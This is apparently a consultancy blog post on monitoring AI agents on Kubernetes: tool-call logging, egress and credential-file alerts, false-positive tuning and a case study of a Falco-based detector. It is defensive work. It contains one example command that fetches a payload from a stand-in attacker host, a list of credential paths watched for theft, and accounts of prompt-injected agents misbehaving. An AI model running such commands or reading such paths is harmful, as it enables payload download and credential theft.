AI Agent Observability on Kubernetes: What to Watch and Why It Matters

If you've shipped AI agents to production on Kubernetes, you've probably noticed that the standard observability stack - Prometheus, Grafana, the ELK pipeline, the OpenTelemetry collector - tells you almost nothing about what the agents are actually doing. You get CPU and memory, request rates and error rates, but you don't get "did this agent just try to read a secrets file" or "did this agent spawn a subprocess" or "is this agent talking to an external service it shouldn't be."

That's because AI agents aren't web services. A web service runs the same code path every request. An AI agent runs an LLM in a loop, makes decisions about what to do next, and those decisions produce side effects in the real world: file reads, network calls, shell commands, API requests. The traditional observability stack was built to instrument the runtime, not the reasoning.

This post is about what we've learned building runtime observability for AI agents on Kubernetes, including what to instrument, what to alert on, and where the false-positive failure modes live.

Why AI agent observability is different

Traditional service observability asks: is this service healthy? AI agent observability asks: is this agent doing what it's supposed to be doing?

The distinction matters because:

1. The same input can produce different behavior. An LLM agent's output is non-deterministic. The same prompt can produce a tool call this run and a different tool call next run. You can't alert on "behavior X happened once" because it might just be sampling variance. You need to alert on patterns over time.
2. The cost surface is concentrated. A web service with 1,000 requests/min and 10ms p99 latency has a tight cost distribution. An AI agent with 50 requests/min can have a 100x spread in cost per request depending on how many tool calls it makes, how long the LLM thinks, and whether it hits a retry loop. The interesting cost questions are about per-request behavior, not cluster-wide aggregates.
3. The blast radius of a misbehaving agent is different. A web service that misbehaves produces a 500 error and a retry. An AI agent that misbehaves can call an API it shouldn't, send an email to the wrong person, or recursively delete a directory it didn't mean to. You need observability that surfaces action-level intent, not just service-level errors.
4. The agent is the user, not just the workload. When an agent reads a file or makes an HTTP request, it's acting on behalf of a user. That means the audit trail needs to capture both the user context and the agent context. Standard HTTP access logs only capture the agent.

What to instrument

The categories below are what we've found load-bearing across real agent deployments.

Tool calls

Every tool call an agent makes - file read, file write, HTTP request, database query, shell command - should produce a structured log event with:

• Timestamp
• Agent ID
• Tool name
• Arguments (truncated if sensitive)
• Result (success/failure, latency)
• Context: which step of the agent's reasoning produced the call

This is the foundation. Without tool call logs, you can't answer any of the interesting questions about agent behavior.

The format that has worked for us is one JSON event per tool call, written to stdout, picked up by the standard log pipeline. Don't try to be clever with a separate observability stack at this layer - the standard log pipeline is the right answer.

Reasoning traces

For agents that expose their chain-of-thought or reasoning steps (and most do, even if the steps are short), you want those traces captured at the same fidelity as tool calls. Reasoning traces tell you why an agent made a decision, which is the difference between debugging a misbehavior in an hour versus a week.

The catch: reasoning traces can be large, can contain sensitive reasoning, and can be slow to capture. Plan for sampling - capture full traces for a percentage of requests, plus capture full traces for every failure.

Network egress

Every outbound network connection from an agent pod should be logged with destination, port, and protocol. This is the most important signal for catching agents that have been prompt-injected into making requests to attacker-controlled endpoints.

The pattern that works: a network policy that requires all egress to go through a proxy or sidecar that logs every connection. Yes, this adds latency. Yes, it's worth it.

File system access

Read and write events on sensitive paths - /etc/, ~/.ssh/, ~/.aws/, *.env, secrets directories - should be captured with the same fidelity as tool calls. An agent that reads ~/.aws/credentials is doing something worth knowing about, even if it doesn't exfiltrate them.

The mechanism for this is usually a Falco rule or an eBPF-based detector on the host. The agent SDK can also do it at the language level if you control the runtime.

Subprocess execution

Every subprocess the agent spawns - bash, python, curl, anything - should be logged. An LLM agent that decides to run curl http://attacker.example/payload looks identical at the HTTP layer to a legitimate curl, but at the exec layer you can see it was spawned by the agent and not by your application code.

Resource consumption per request

For each agent request, capture: tokens consumed (input and output), tool calls made, wall-clock time, and estimated cost. The aggregate over a window tells you whether your cost model is right. The per-request breakdown tells you which requests are expensive and why.

What to alert on

The alerts that have actually caught problems in production:

1. New external destinations. If an agent starts talking to a domain it has never talked to before, that's worth a human review. The implementation: maintain a per-agent allowlist of outbound destinations, alert on anything outside the allowlist.

2. Sudden cost spikes per request. If the average cost per agent request over the last hour is 5x the trailing 7-day average, that's worth investigating. The cause is usually a prompt injection, a runaway retry loop, or a model that's been changed upstream.

3. Sensitive file reads. Reads of credential files, SSH keys, or anything in /etc/ should always alert. There's no legitimate reason for an agent to read ~/.aws/credentials in the normal flow of business.

4. Subprocess spawning outside expected tools. If your agent is supposed to call only search_web and send_email, and it spawns bash, that's a problem. The implementation: an allowlist of permitted subprocesses per agent type, alert on anything else.

5. Reasoning patterns that don't match training distribution. This is the cutting edge. If you have a baseline of what normal reasoning looks like for your agents, deviations are worth flagging. The tooling here is immature - we're seeing teams build custom classifiers on top of the reasoning trace logs.

6. Cascading tool calls. An agent that makes 50 tool calls in a single request is probably in a retry loop, has been prompt-injected, or has a bug. Alert on the tail: tool call counts above the 99th percentile of normal behavior.

Where the false-positive failure modes live

The hardest part of AI agent observability is not building the signals. It's tuning the alerts so you don't drown in noise.

The failure modes we see repeatedly:

"New external destinations" alerts flood on legitimate API additions. Every time you add a new tool to your agent's toolkit, you'll trip this alert. The fix: maintain the allowlist as a config artifact that's reviewed and version-controlled, not as a runtime auto-discovered set.

"Sensitive file reads" alerts fire on framework internals. Your agent framework reads its own config files. If you instrument the filesystem broadly, you'll see constant reads of the framework's own metadata. The fix: scope the sensitive path detection to user-level paths, not system-level paths. Or, accept that the framework reads will fire and add them to an allowlist.

"Subprocess spawning" alerts fire on legitimate shell calls. If your agent is supposed to call bash for some workflow (running a test, executing a build), the alert will fire. The fix: tool-specific allowlists per agent role.

"Cost spikes per request" alerts fire on legitimate batch jobs. If a user kicks off a long-running agent task, the cost will spike. The fix: per-user cost baselines rather than cluster-wide baselines. Cost-spike alerts are a FinOps signal that pairs naturally with platform-level resource alerts.

The pattern across all of these is the same: the alert needs to be scoped to the agent's expected behavior, not the cluster's expected behavior. This means per-agent-role allowlists, per-user cost baselines, and per-workflow subprocess allowlists. The configuration management burden is real.

A concrete example: what we learned building FalcoClaw

FalcoClaw is the runtime observability layer we built for our own agent infrastructure. It's a Falco-based detector with rules targeting OpenClaw agent behavior specifically. We just finished a P1 false-positive review and the lessons are worth sharing.

The three highest-risk false positives we identified before going live:

1. WebSocket connection from non-local origin. Our initial rule fired on any WebSocket connection to the OpenClaw gateway from outside localhost. The problem: legitimate traffic from operator browsers on the internal LAN, from DigitalOcean health checks, from internal monitoring services, all qualify. The fix is to exclude RFC1918 + link-local + DO internal CIDRs from the trigger. Without that exclusion, the rule fires 81 times an hour in current traffic - all legitimate.
2. Shell spawned by agent. Agents legitimately spawn shells. The right scope is shells that match a suspicious pattern (specific interpreters, specific command-line flags) rather than any shell at all. A blanket "agent spawned a shell" alert is useless.
3. Agent writing outside workspace. Agents legitimately write to scratch directories and shared caches. The right scope is writes outside a defined perimeter, not writes anywhere outside the agent's working directory. The difference between /tmp/agent-scratch/ and /home/rudy/.aws/ is the difference between legitimate and credential theft.

The meta-lesson: every "agent did X" rule needs to scope X by what's normal for that specific agent's role. Without the scope, the alert is noise. With the scope, the alert is signal.

A practical adoption path

If you're starting from zero observability on your AI agents:

1. Week 1. Instrument tool calls. Every framework exposes them. Get them into your log pipeline. This is the foundation for everything else.
2. Week 2. Instrument subprocess spawning and outbound network connections. The mechanism is usually Falco or an eBPF-based detector. Get the raw signal flowing, even if you don't alert on it yet.
3. Week 3. Build the cost-per-request pipeline. Capture tokens consumed, tool calls made, wall-clock time, estimated cost. Join with billing data to get the real number.
4. Week 4. Add the alerting layer, starting with sensitive file reads and subprocess spawning outside expected tools. Tune the false-positive rate by scoping per-agent-role.
5. Ongoing. Watch the cost spike and reasoning trace signals. These are the cutting-edge observability questions, and the tooling here is still maturing.

The first month is plumbing. The interesting work starts after you have the signals flowing.

What we expect over the next year

Three things are coming that will change the landscape:

1. OTel semantic conventions for AI agents. The OpenTelemetry project is working on conventions for agent-specific spans and metrics. When these stabilize, your existing observability stack will start showing agent-aware data without custom instrumentation.

2. Runtime policy engines purpose-built for agents. Tools like FalcoClaw are early examples. The category will mature. We expect to see commercial offerings in the next 6-12 months that are purpose-built for agent behavior monitoring, not adapted from container security.

3. Reasoning-trace-based anomaly detection. Once you have enough reasoning traces, you can train models to flag traces that look unlike the normal distribution. This is the most promising direction for catching prompt injections that bypass other detection layers.

Sources and further reading

• OpenTelemetry semantic conventions for AI workloads (in progress)
• Falco documentation and rule authoring guide
• Our internal runbook for FalcoClaw P1 FP review (gated, available under NDA for clients)
• NIST AI Risk Management Framework for runtime monitoring expectations

If you're standing up AI agent observability on Kubernetes and want a second opinion on the alerting design, book an Assessment Workshop. We'll walk through your agent framework, your existing observability stack, and your threat model - and tell you what signals are load-bearing for your specific deployment, what's safe to defer, and what the realistic false-positive rate is for each alert category. Need help scoping the rollout? Our Kubernetes consulting team and AI infrastructure practice can scope the work end to end.